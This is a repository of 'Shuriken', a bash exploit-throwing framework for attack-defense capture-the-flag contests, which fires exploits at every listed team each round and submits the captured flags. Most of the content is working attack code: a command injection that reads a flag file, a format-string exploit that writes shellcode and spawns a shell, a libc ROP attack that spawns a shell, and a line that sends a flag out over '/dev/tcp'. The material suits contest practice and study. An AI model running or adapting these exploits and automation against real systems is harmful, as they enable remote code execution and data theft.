├── .gitignore ├── README.md ├── bin └── alarm ├── config ├── 00-github ├── 10-delay ├── 11-flags ├── 12-log ├── 13-teams ├── 14-timeout ├── 15-pwntools └── 20-callback-ips ├── exploits ├── babycmd │ └── exploit ├── babyecho │ ├── echo.py │ ├── exploit │ └── libformatstr │ │ ├── __init__.py │ │ ├── core.py │ │ ├── fmtemul.py │ │ ├── guess.py │ │ └── pattern.py ├── bash │ └── exploit └── r0pbaby │ ├── exploit │ └── ropbaby.py ├── listeners ├── fifo └── tcp └── shuriken /.gitignore: -------------------------------------------------------------------------------- 1 | logs 2 | *~ 3 | *.pyc 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Shuriken 2 | 3 | A simple `bash`-based throwing framework. 4 | 5 | It's stupid simple, and configuration is just done by flat files. 6 | 7 | ## Adding an exploit 8 | 9 | Each exploit belongs in its own directory under `exploits`. Symlinks work nicely if moving the files isn't ideal. 10 | 11 | Each exploit directory must contain a file named `exploit`. If this file is executable (`chmod +x`), it is invoked each round. It is not invoked with any arguments. 12 | 13 | The arguments to the exploit are passed in the environment. The most important ones are: 14 | 15 | - `TARGET_HOST` - IP or hostname to exploit 16 | - `TEAM_NAME` - Pretty name of the team being exploited 17 | - `FLAG_HOST` - IP to send flags to 18 | - `FLAG_PORT` - Port to send flags to 19 | - `FLAG_FILE` - File to write flags to (instead of IP:port) 20 | 21 | All data from each invokation of the exploit is logged into the `logs` directory inside the exploit directory. It is automatically created if it does not exist. 22 | 23 | ### Blacklists and Whitelists 24 | 25 | By default, an exploit is thrown against all teams every round. 26 | 27 | To modify this behavior, create a file named `whitelist` or `blacklist` in your exploit directory. Any IPs or team names in `blacklist` are skipped. If `whitelist` exists, any IPs or teams not contained in the file are skipped. 28 | 29 | ## Logging 30 | 31 | ### Exploitation Attempt Logs 32 | 33 | All of the exploitation attempts are logged to stdout, as well as syslog. 34 | 35 | See `config/log` for an extensible location to add to the logging. 36 | 37 | To set up the syslog endpoint: 38 | 39 | ``` 40 | cat >> /etc/syslog.conf < /dev/null 93 | ``` 94 | -------------------------------------------------------------------------------- /bin/alarm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/samuraictf/shuriken-framework/bf52c625eb4dcd2e6360d1ccaf6f68ee31a626cb/bin/alarm -------------------------------------------------------------------------------- /config/00-github: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | git pull --ff-only 4 | -------------------------------------------------------------------------------- /config/10-delay: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | before() { 4 | true; 5 | } 6 | 7 | after() { 8 | true; 9 | } 10 | 11 | export -f before 12 | export -f after 13 | -------------------------------------------------------------------------------- /config/11-flags: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | export FLAG_HOST=${FLAG_HOST:-flag-submission-server} 3 | export FLAG_PORT=${FLAG_PORT:-31337} 4 | export FLAG_PROTO=${FLAG_PROTO:-tcp} 5 | export FLAG_FIFO=$(readlink -e ${FLAG_FIFO:-flag-fifo}) 6 | -------------------------------------------------------------------------------- /config/12-log: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function get_log_dir() { 4 | NOW=$(date "+%Y-%m-%d-%H:%M:%S") 5 | DIR="$1/logs/$TEAM_NAME/$NOW-$TARGET_HOST-$$" 6 | mkdir -p "$DIR" 7 | rm -f $DIR/../latest 8 | ln -rs "$DIR" "$DIR/../latest" 9 | echo $DIR 10 | } 11 | 12 | # Log to syslog as well as stderr 13 | function log() { 14 | /usr/bin/logger --stderr --priority local3.info --tag SHURIKEN "$*" 15 | } 16 | -------------------------------------------------------------------------------- /config/13-teams: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # teams has been declared as an associative array in the main shuriken script with declare -A teams 3 | 4 | 5 | teams["ppp"]="10.0.1.1" 6 | teams["Shellphish"]="10.0.2.1" 7 | teams["Oops"]="10.0.3.1" 8 | teams["fuzzi3"]="10.0.4.1" 9 | teams["LCBC"]="10.0.5.1" 10 | teams["Cykorkinsesis"]="10.0.6.1" 11 | teams["spamandhex"]="10.0.7.1" 12 | # teams["samurai"]="10.0.8.1" 13 | teams["DragonSector"]="10.0.9.1" 14 | teams["BlueLotus"]="10.0.10.1" 15 | teams["shik"]="10.0.11.1" 16 | teams["Bamboofox"]="10.0.12.1" 17 | teams["YoykyWesterns"]="10.0.13.1" 18 | -------------------------------------------------------------------------------- /config/14-timeout: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | export TMOUT="${TMOUT:-30}" 3 | -------------------------------------------------------------------------------- /config/15-pwntools: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # Disable all pretty colors and animations, just use plain text. 4 | export PWNLIB_NOTERM=1 5 | 6 | # All I/O operations should time out after 5 minutes unless otherwise specified. 7 | export PWNLIB_TIMEOUT=$((60*5)) 8 | 9 | # Randomize everything 10 | export PWNLIB_RANDOMIZE=1 11 | 12 | # Log in a verbose manner 13 | export PWNLIB_LOG_LEVEL=debug 14 | 15 | -------------------------------------------------------------------------------- /config/20-callback-ips: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | #### WARNING #### 4 | # 5 | # The following does not work with copy-paste 6 | # 7 | ################# 8 | 9 | LISTEN_SSH_CALLBACK_IPS=() 10 | 11 | for i in $(seq 64 128); do 12 | LISTEN_SSH_CALLBACK_IPS+=("10.5.3.$i") 13 | done 14 | 15 | LISTEN_SSH_CALLBACK_IP=${LISTEN_SSH_CALLBACK_IPS[$RANDOM % ${#LISTEN_SSH_CALLBACK_IPS[@]} ]} 16 | 17 | export LISTEN_SSH_CALLBACK_IP 18 | -------------------------------------------------------------------------------- /exploits/babycmd/exploit: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | import socket 4 | import re 5 | 6 | s = socket.socket() 7 | s.connect((os.getenv("TARGET_HOST"), 10009)) 8 | s.recv(1024) 9 | s.recv(1024) 10 | s.send("host aaa$(base64\t/home/babycmd/flag)aaa\n") 11 | #print "sent" 12 | flag = s.recv(1024).strip() 13 | #print repr(flag) 14 | flag = flag.split('aaa') 15 | if len(flag) > 2: 16 | flag = flag[1].decode('base64') 17 | #print flag 18 | s.close() 19 | submit_flag(flag) 20 | 21 | -------------------------------------------------------------------------------- /exploits/babyecho/echo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | import libformatstr 4 | 5 | # Pretty simple binary, looks like this: 6 | # 7 | # size = 13; 8 | # while ( 1 ) 9 | # { 10 | # max = 1023; 11 | # if ( size <= 1023 ) 12 | # max = size; 13 | # size = max; 14 | # printf("Reading %d bytes\n", N); 15 | # readuntil(buffer, size, '\n'); 16 | # remove_percentn(buffer); 17 | # printf(buffer); 18 | # putchar('\n'); 19 | # } 20 | # 21 | # Of note, the variable size is on the stack, and the 22 | # function remove_percentn converts '%n' to '_n'. 23 | # 24 | # It does not, however, do anything about '%1$n'. 25 | p = remote(get_target_ip("104.236.197.208"), 10010) 26 | 27 | # Leak the address of our buffer on the stack. 28 | # 29 | # If we dump the stack immediately before the call to printf, it looks 30 | # like this. 31 | # 32 | # 00:0000| esp 0xff8aad20 --> 0xff8aad3c <-- '%5$p' 33 | # 01:0004| 0xff8aad24 <-- 0xd /* '\r' */ 34 | # 02:0008| 0xff8aad28 <-- 0xa /* '\n' */ 35 | # 03:000c| 0xff8aad2c <-- 0 36 | # 04:0010| 0xff8aad30 <-- 0xd /* '\r' */ 37 | # 05:0014| 0xff8aad34 --> 0xff8aad3c <-- '%5$p' 38 | # 06:0018| 0xff8aad38 <-- 0 39 | # 07:001c| eax 0xff8aad3c <-- '%5$p' 40 | # 41 | # The format string is in arg0, and the leftmost column is an argument 42 | # index which can be accessed via '%$'. In order to dump 43 | # the buffer address, we use '%5$p'. One could also use '%5$x' or '$5$d' 44 | # or any other numeric format, I just use p because it's convenient. 45 | p.recvline() 46 | p.sendline('%5$p') 47 | buf_addr = int(p.recvline(), 0) 48 | 49 | # Based on this, we can calculate the addresses of some other fields. 50 | # 51 | # The size field is in slot 4 (note it is 13, 0xd, in the stack dump above). 52 | # The return address is not actually on the stack yet as we haven't called 53 | # printf yet, but we can calculate its address since we know where it will be. 54 | size_addr = buf_addr - 0xc 55 | ret_addr = buf_addr - 0x20 56 | 57 | log.info("buffer: %#x" % buf_addr) 58 | log.info("size: %#x" % size_addr) 59 | log.info("$ra: %#x" % ret_addr) 60 | 61 | # Now we want to overwrite the buffer size on the stack so we can use a 62 | # longer format string. 63 | # 64 | # To do this, we place the address of the size at the beginning of our buffer, 65 | # and use %n to write to that address. 66 | p.sendline(pack(size_addr) + '%99c%7$n') 67 | 68 | # Now that we're just doing "regular" format string exploitation, we can 69 | # use hellman's wonderful libformatstr to overwrite the return address 70 | # with a pointer into our buffer -- where we will put some shellcode. 71 | # 72 | # The offset 0x30 was chosen by checking how long the format string is 73 | # when generated by libformatstr. 74 | f = libformatstr.FormatStr() 75 | f[ret_addr] = buf_addr + 0x30 76 | payload = f.payload(arg_index=7) # Our buffer starts at slot 7 77 | 78 | # Pad it out to the offset we picked at random, append the shellcode. 79 | payload = payload.ljust(0x30) 80 | payload += asm(shellcraft.sh()) 81 | p.sendline(payload) 82 | 83 | # Have a shell 84 | p.clean() 85 | p.sendline('cat /home/babyecho/flag') 86 | flag = p.recvline() 87 | submit_flag(flag) 88 | -------------------------------------------------------------------------------- /exploits/babyecho/exploit: -------------------------------------------------------------------------------- 1 | echo.py -------------------------------------------------------------------------------- /exploits/babyecho/libformatstr/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | from .core import FormatStr 5 | from .pattern import * 6 | from .guess import * 7 | from .fmtemul import * -------------------------------------------------------------------------------- /exploits/babyecho/libformatstr/core.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import re 5 | import sys 6 | import struct 7 | import operator 8 | 9 | #TODO: group the same words? (need markers) (or they can be displaced without noticing it) 10 | 11 | # INPUT for setitem: 12 | # Address: 13 | # Int/long: 0x08049580 14 | # Packed: "\x80\x95\x04\x08" 15 | # Value: 16 | # Int/long: 0xdeadbeef 17 | # Word(0xdead) 18 | # Packed: "\xef\xbe\xad\xde\xce\xfa\xad\xde" 19 | # List of values above: [0xdeadbeef, "sc\x00\x00", "test", Word(0x1337)] 20 | 21 | class FormatStr: 22 | def __init__(self, buffer_size=0): 23 | self.mem = {} 24 | self.buffer_size = buffer_size 25 | self.parsers = { 26 | list: self._set_list, 27 | str: self._set_str, 28 | int: self._set_dword, 29 | long: self._set_dword, 30 | Word: self._set_word, 31 | Byte: self._set_byte 32 | } 33 | 34 | def __setitem__(self, addr, value): 35 | addr_type = type(addr) 36 | if addr_type in (int, long): 37 | addr = addr % (1 << 32) 38 | elif addr_type == str: 39 | addr = struct.unpack("> (i * 8)) % (1 << 8) 68 | return addr + 4 69 | 70 | def _set_word(self, addr, value): 71 | for i in xrange(2): 72 | self.mem[addr + i] = (int(value) >> (i * 8)) % (1 << 8) 73 | return addr + 2 74 | 75 | def _set_byte(self, addr, value): 76 | self.mem[addr] = int(value) % (1 << 8) 77 | return addr + 1 78 | 79 | def payload(self, *args, **kwargs): 80 | gen = PayloadGenerator(self.mem, self.buffer_size) 81 | return gen.payload(*args, **kwargs) 82 | 83 | 84 | class PayloadGenerator: 85 | def __init__(self, mem, buffer_size): 86 | """ 87 | Make tuples like (address, word/dword, value), sorted by value. 88 | Trying to avoid null byte by using preceding address in the case. 89 | """ 90 | self.mem = mem 91 | self.buffer_size = buffer_size 92 | 93 | self.tuples = [] 94 | self.addrs = list(sorted(mem.keys())) # addresses of each byte to set 95 | 96 | addr_index = 0 97 | while addr_index < len(self.addrs): 98 | addr = self.addrs[addr_index] 99 | addr = self.check_nullbyte(addr) 100 | 101 | dword = 0 102 | for i in range(4): 103 | if addr + i not in self.mem: 104 | dword = -1 105 | break 106 | dword |= self.mem[addr + i] << (i * 8) 107 | 108 | if 0 <= dword < (1 << 16): 109 | self.tuples.append( (addr, 4, dword) ) 110 | if self.addrs[addr_index + 2] == addr + 3: 111 | addr_index += 3 # backstepped 112 | elif self.addrs[addr_index + 3] == addr + 3: 113 | addr_index += 4 114 | else: 115 | raise ValueError("Unknown error. Missing bytes") 116 | continue 117 | 118 | word = 0 119 | for i in range(2): 120 | if addr + i not in self.mem: 121 | word = -1 122 | break 123 | word |= self.mem[addr + i] << (i * 8) 124 | 125 | if 0 <= word < (1 << 16): 126 | self.tuples.append( (addr, 2, word) ) 127 | if self.addrs[addr_index] == addr + 1: 128 | addr_index += 1 # backstepped 129 | elif self.addrs[addr_index + 1] == addr + 1: 130 | addr_index += 2 131 | else: 132 | raise ValueError("Unknown error. Missing bytes") 133 | continue 134 | else: 135 | if addr_index > 0 and self.addrs[addr_index - 1] > self.addrs[addr_index] - 1: 136 | addr_index -= 1 # can't fit one byte, backstepping 137 | else: 138 | self.tuples.append( (addr, 1, self.mem[addr]) ) 139 | addr_index += 1 140 | 141 | self.tuples.sort(key=operator.itemgetter(2)) 142 | return 143 | 144 | def check_nullbyte(self, addr): 145 | if "\x00" in struct.pack(" 2: 170 | payload += "%" + str(print_len) + "c" 171 | elif print_len >= 0: 172 | payload += "A" * print_len 173 | else: 174 | warning("Can't write a value %08x (too small)." % value) 175 | continue 176 | 177 | modi = { 178 | 1: "hh", 179 | 2: "h", 180 | 4: "" 181 | }[size] 182 | payload += "%" + str(index) + "$" + modi + "n" 183 | addrs += struct.pack(">sys.stderr, "WARNING:", s 217 | 218 | def tuples_sorted_by_values(adict): 219 | """Return list of (key, value) pairs of @adict sorted by values.""" 220 | return sorted(adict.items(), lambda x, y: cmp(x[1], y[1])) 221 | 222 | def tuples_sorted_by_keys(adict): 223 | """Return list of (key, value) pairs of @adict sorted by keys.""" 224 | return [(key, adict[key]) for key in sorted(adict.keys())] 225 | 226 | def main(): 227 | # Usage example 228 | addr = 0x08049580 229 | rop = [0x080487af, 0x0804873c, 0x080488de] 230 | p = FormatStr() 231 | p[addr] = rop 232 | 233 | # buf is 14th argument, 3 bytes padding 234 | pay = p.payload(14, 3) 235 | sys.stdout.write(pay) -------------------------------------------------------------------------------- /exploits/babyecho/libformatstr/fmtemul.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import re 5 | import sys 6 | import struct 7 | 8 | def fmtemul(fmt, argnum, padding=0, start_len=0, debug=0): 9 | log = [] 10 | writes = [] 11 | 12 | count = start_len 13 | cursor = fmt 14 | while cursor: 15 | m = re.match(r"^%(\d+)[cdx]", cursor) 16 | if m: 17 | count += int(m.group(1)) 18 | cursor = cursor[len(m.group(0)):] 19 | 20 | log.append( ("output+", int(m.group(1)), count) ) 21 | if debug: print "output+", hex(int(m.group(1))), "=", hex(count) 22 | continue 23 | 24 | m = re.match(r"^%(\d+)\$hn", cursor) 25 | if m: 26 | num = int(m.group(1)) 27 | index = padding + (num - argnum) * 4 28 | try: 29 | addr = struct.unpack(" 1: 67 | lst = [sys.argv[1]] + map(int, sys.argv[2:]) 68 | fmtprint(*lst) 69 | else: 70 | print "Usage: fmtemul formatstr argnum [padding=0 [start_len=0]]" -------------------------------------------------------------------------------- /exploits/babyecho/libformatstr/guess.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | from .pattern import * 5 | import sys 6 | 7 | def guess_argnum(result, buffer_size, start_index=1): 8 | pattern_size = buffer_size // 8 9 | pat = msfpattern(pattern_size * 4) 10 | if result[:len(pat)] != pat: 11 | return None 12 | result = result[len(pat):].replace("(nil)", "0x00000000").rstrip("X") 13 | 14 | parts = result.split("0x")[1:] 15 | for i, p in enumerate(parts): 16 | p = p.rjust(8, "0").decode("hex")[::-1] 17 | if p in pat: 18 | block_index = pat.find(p) 19 | padding = block_index % 4 20 | 21 | argnum = start_index + i * (pattern_size - 1) 22 | argnum -= block_index // 4 23 | return argnum, padding 24 | return None 25 | 26 | if __name__ == "__main__": 27 | if len(sys.argv) > 1: 28 | lst = [sys.argv[1]] + map(int, sys.argv[2:]) 29 | t = guess_argnum(*lst) 30 | if t: 31 | print "argnum:", t[0] 32 | print "padding:", t[1] 33 | else: 34 | print "Can't determing argnum!" 35 | else: 36 | print "Usage: guess result_str buffer_size [start_index=1]" -------------------------------------------------------------------------------- /exploits/babyecho/libformatstr/pattern.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import sys 5 | 6 | def msfpattern(n): 7 | """msfpattern-like patterns""" 8 | def inc(alphas, indexes, i): 9 | indexes[i % 3] += 1 10 | if indexes[i % 3] >= len(alphas[i % 3]): 11 | indexes[i % 3] = 0 12 | inc(alphas, indexes, i-1) 13 | return 14 | 15 | alphas = ["ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz", "0123456789"] 16 | indexes = [0] * len(alphas) 17 | 18 | chars = [] 19 | for i in range(n): 20 | chars.append(alphas[i % 3][indexes[i % 3]]) 21 | if i % 3 == 2: 22 | inc(alphas, indexes, i) 23 | return "".join(chars) 24 | 25 | def make_pattern(buffer_size, start_index=1, max_index=500): 26 | format_size = buffer_size // 2 27 | pattern_size = buffer_size // 8 28 | 29 | index = start_index 30 | payload = msfpattern(pattern_size * 4) 31 | while True: 32 | fmt = "%" + str(index) + "$p" 33 | if len(payload) + len(fmt) > buffer_size: 34 | break 35 | payload += fmt 36 | index += pattern_size - 1 37 | if index > max_index: 38 | break 39 | return payload.ljust(buffer_size, "X") 40 | 41 | if __name__ == "__main__": 42 | if len(sys.argv) > 1: 43 | sys.stdout.write( make_pattern(*map(int, sys.argv[1:])) ) 44 | else: 45 | print "Usage: pattern buffer_size [start_index=1 [max_index=500]]" -------------------------------------------------------------------------------- /exploits/bash/exploit: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | import socket 4 | s = remote(get_target_ip('ppp'), 10005) 5 | l = listen(0, get_callback_ip(s)) 6 | s.sendline("exec cat /home/bash/flag > /dev/tcp/%s/%s\n" % (l.lhost,l.lport)) 7 | flag = l.recvline() 8 | submit_flag(flag) 9 | -------------------------------------------------------------------------------- /exploits/r0pbaby/exploit: -------------------------------------------------------------------------------- 1 | ropbaby.py -------------------------------------------------------------------------------- /exploits/r0pbaby/ropbaby.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | context.arch='amd64' 4 | 5 | p = remote(get_target_ip(), 10011) 6 | 7 | # Game box used libc from Ubuntu 14.04 latest, so this just works 8 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 9 | 10 | # Find libc base from a known function address. 11 | # Choice of 'system' is irrelevant. 12 | p.sendline('2') 13 | p.sendline('system') 14 | p.recvuntil('Symbol system: ') 15 | 16 | # Calculate libc from function address 17 | system = int(p.recvline(), 0) 18 | libc.address = system - libc.symbols['system'] 19 | log.info('libc: %#x' % libc.address) 20 | 21 | 22 | """ 23 | .text:000000000004652C 48 8B 05 75 79 37 00 mov rax, cs:environ_ptr_0 24 | .text:0000000000046533 48 8D 3D A1 67 13 00 lea rdi, aBinSh ; "/bin/sh" 25 | .text:000000000004653A 48 8D 74 24 30 lea rsi, [rsp+30h] 26 | .text:000000000004653F C7 05 77 A1 37 00 00 00 00 00 mov cs:dword_3C06C0, 0 27 | .text:0000000000046549 C7 05 7D A1 37 00 00 00 00 00 mov cs:dword_3C06D0, 0 28 | .text:0000000000046553 48 8B 10 mov rdx, [rax] 29 | .text:0000000000046556 E8 D5 AD 07 00 call execve 30 | """ 31 | magic = libc.address + 0x4652C 32 | 33 | 34 | # Send ROP buffer 35 | p.sendline('3') 36 | p.sendline('1024') 37 | 38 | buf = pack(0) + pack(magic) 39 | buf = buf.ljust(1024, '\x00') 40 | p.send(buf) 41 | 42 | # Quit, trigger ROP 43 | p.sendline('4') 44 | p.clean(1) 45 | 46 | # Have a shell 47 | p.sendline('exec cat /home/r0pbaby/flag;exit') 48 | flag = p.recvall() 49 | submit_flag(flag) 50 | -------------------------------------------------------------------------------- /listeners/fifo: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Reads flags from a fifo, and forwards them to the TCP listener. 4 | # Useful for situations where networking is annoying or adds complexity, 5 | # and just writing into a file is easier. 6 | # 7 | FIFO=${1:-flag-fifo} 8 | HOST=${2:-127.0.0.1} 9 | PORT=${3:-1337} 10 | 11 | rm -f $FIFO 12 | mkfifo -m 0600 $FIFO 13 | 14 | while [[ -p $FIFO ]]; do 15 | cat $FIFO 16 | done 17 | -------------------------------------------------------------------------------- /listeners/tcp: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | PORT=${1:-1337} 3 | socat -u TCP-LISTEN:$PORT,keepalive,reuseaddr,fork exec:/bin/cat 4 | -------------------------------------------------------------------------------- /shuriken: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | ## to be run in daemontools 4 | ## launch via: bash core.sh /path/to/exploits &>> /dev/null 5 | # logs via syslog local3.* so you can catch in /var/log/shuriken or something 6 | 7 | declare -A teams 8 | declare -a pid_files 9 | 10 | cd "$(readlink -e $(dirname $0))" 11 | export PWNDACHI_DIR="$PWD" 12 | 13 | for config in config/*; do 14 | source $config 15 | done 16 | 17 | 18 | # 19 | # Team exploitation loop. 20 | # 21 | # Exploits all teams with all exploits. 22 | # 23 | function exploit_all_teams() { 24 | for dir in exploits/*/; do 25 | export EXPLOIT_NAME=$(basename "$dir") 26 | 27 | # Exploits can be disabled by making them non-executable 28 | if [[ ! -x "$dir/exploit" ]]; then 29 | echo "$EXPLOIT_NAME - Disabled" 30 | continue 31 | fi 32 | 33 | for team in "${!teams[@]}"; do 34 | export TARGET_HOST=${teams[$team]} 35 | export TEAM_NAME="$team" 36 | 37 | # Teams can be disabled by putting the IP address or 38 | # team name into a file called 'blacklist' in the exploit 39 | # directory. 40 | EXPR="($TARGET_HOST)|($TEAM_NAME)" 41 | 42 | if [[ -e "$dir/blacklist" ]] && egrep -q "$EXPR" "$dir/blacklist"; then 43 | log "$EXPLOIT_NAME - Blacklisted $team (${teams[$team]})" 44 | continue 45 | fi 2>/dev/null 46 | 47 | if [[ -e "$dir/whitelist" ]] && ! egrep -q "$EXPR" "$dir/whitelist"; then 48 | log "$EXPLOIT_NAME - Whitelisted $team (${teams[$team]})" 49 | continue 50 | fi 2>/dev/null 51 | 52 | launch_exploit "$dir" 53 | done 54 | done 55 | } 56 | 57 | # 58 | # Launch a process (specified as the single argument) 59 | # and keep track of its lifetime with a pid file. 60 | # 61 | function launch_exploit() { 62 | # Create a temporary directory for the logs and status 63 | export LOG_DIR="$(get_log_dir $1)" 64 | 65 | # Keep a copy of the environment it was executed it 66 | # so that we can reproduce it 67 | >> "$LOG_DIR/run" cat <"$LOG_DIR/stdout" \ 101 | 2>"$LOG_DIR/stderr" 102 | )& 103 | PID=$! 104 | 105 | # Log the start of the exploit and its log file 106 | log "$EXPLOIT_NAME - Started [$PID] $TEAM_NAME ($TARGET_HOST) $LOG_DIR" 107 | 108 | # Create the PID file and note the start of the process 109 | echo "$PID" > "${LOG_DIR}/pid" 110 | 111 | # Create a child shell which will wait on the PID file 112 | ( # Wait for the process to die (or be killed) 113 | while kill -0 $PID 2>/dev/null; do 114 | sleep 1 115 | done 116 | 117 | echo "$EXPLOIT_NAME done" 118 | 119 | # If there is no status file, the process exited cleanly 120 | if [[ ! -e "$LOG_DIR/status" ]]; then 121 | echo "finished $(date)" >> "$LOG_DIR/status" 122 | log "$EXPLOIT_NAME - Finished [$PID] $TEAM_NAME ($TARGET_HOST)" 123 | fi 124 | rm -f "$LOG_DIR/pid" 125 | after 126 | ) & 127 | 128 | pid_files+=("$LOG_DIR/pid") 129 | } 130 | 131 | 132 | 133 | # 134 | # Waiting loop. Wait for all of the processes to exit, up 135 | # to a timeout. 136 | # 137 | function wait_for_processes() { 138 | for i in $(seq "$TMOUT"); do 139 | sleep 1 140 | 141 | for pid_file in "${pid_files[@]}"; do 142 | # If the PID file still exists, the process is alive. 143 | [[ -e "$pid_file" ]] && continue 144 | 145 | # If the process died, remove the PID file 146 | del=("$pid_file") 147 | pid_files=(${pid_files[@]/$del}) 148 | done 149 | 150 | if [[ "${#pid_files[@]}" = 0 ]]; then 151 | break 152 | fi 153 | done 154 | } 155 | 156 | # 157 | # Clean-up all running processes by killing them 158 | # 159 | function kill_all_processes() { 160 | for pid_file in "${pid_files[@]}"; do 161 | log "$EXPLOIT_NAME - Terminating [$PID] $TEAM_NAME ($TARGET_HOST)" 162 | echo "terminated $(date)" >> "$LOG_DIR/status" 163 | 164 | # Send SIGTERM to give it a warning 165 | kill -SIGTERM $(cat "$pid_file") 166 | sleep 5 167 | 168 | # Actually kill it, if it's still alive 169 | if [[ -e "$pid_file" ]]; then 170 | kill -SIGKILL $(cat "$pid_file") 2>/dev/null 171 | log "$EXPLOIT_NAME - Killed [$PID] $TEAM_NAME ($TARGET_HOST)" 172 | echo "killed $(date)" >> "$LOG_DIR/status" 173 | fi 174 | done 175 | } 176 | 177 | log "exploit loop started in $PWD" 178 | exploit_all_teams 179 | log "waiting for processes to exit" 180 | wait_for_processes 181 | log "killing lingering processes" 182 | kill_all_processes 183 | log "exploit loop finished" 184 | --------------------------------------------------------------------------------